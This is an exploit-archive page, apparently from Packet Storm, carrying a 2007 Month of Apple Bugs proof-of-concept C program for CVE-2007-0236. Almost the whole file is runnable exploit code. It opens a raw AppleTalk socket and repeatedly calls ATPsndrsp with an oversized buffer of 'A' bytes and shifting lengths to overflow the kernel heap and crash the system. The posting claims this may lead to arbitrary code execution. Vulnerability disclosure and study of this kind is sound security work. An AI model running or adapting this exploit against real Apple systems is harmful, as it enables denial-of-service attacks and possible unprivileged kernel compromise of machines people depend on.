what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

MOAB-14-01-2007.c

MOAB-14-01-2007.c
Posted Jan 20, 2007
Authored by LMH | Site projects.info-pull.com

Month of Apple Bugs - Proof of concept exploit for the _ATPsndrsp function. The _ATPsndrsp function is vulnerable to a heap-based buffer overflow condition, due to insufficient checking of user input. This leads to a denial of service condition and potential arbitrary code execution by unprivileged users.

tags | exploit, denial of service, overflow, arbitrary, code execution, proof of concept
systems | apple
advisories | CVE-2007-0236
SHA-256 | ecaf4e16cc626471b59446fc33fded909708cba04efa57ef9ad8f795f1e0ead4

MOAB-14-01-2007.c

Change Mirror Download
/* proof of concept for moab-14-01-2007
* Copyright (c) 2006, LMH <lmh [at] infopull.com>
* Shout outs to: icer, kf, ilja, hd, et al.
*
* free feedback samples for public consumption:
*
* "the panic() function takes a string for the reason the panic
* occurred. As you can see from the above, the reason us due to the
* fact the buffer size is absurd. The system caught this absurdity and
* handled it by calling panic().
* In other words, not capable of executing arbitrary code."
* -- Rosyna Keller, talking about allocbuf() failing due to allocation
* of a negative size buffer, caused by a simple integer overflow.
*
*
* ">LMH claims #10 leads to "potential arbitrary code execution." That's
* >not good enough where I come from. Either the arbitrary code executes,
* >or it doesn't. I may be talking thru my elbow, but I suggest the
* >absence of a working example of "arbitrary code execution" is that we
* >have caused a kernel panic, and stack based execution ceases."
* -- dinornis, stack based haxor in training.
*
*/

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdarg.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/sockio.h>
#include <netat/appletalk.h>

#define POWDER_SIZE 6000

int main(int argc, char **argv) {
int fd, retv, i;
unsigned int a, b;
char *powder;

if ((fd = socket(AF_APPLETALK, SOCK_RAW, 0)) < 0)
exit(1);

powder = malloc(POWDER_SIZE);
memset(powder, 0, POWDER_SIZE);
memset(powder, 0x41, POWDER_SIZE-1);

for (i=0; i < (POWDER_SIZE+1000); i++) {
a = strlen(powder) - i;
b = i;
printf("powder@%p a=%u b=%u\n", powder, a, b);
retv = ATPsndrsp(fd, (unsigned char *)powder, a, b);
}

close(fd);
free(powder); // won't reach this unless appletalk is disabled

return 0;
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close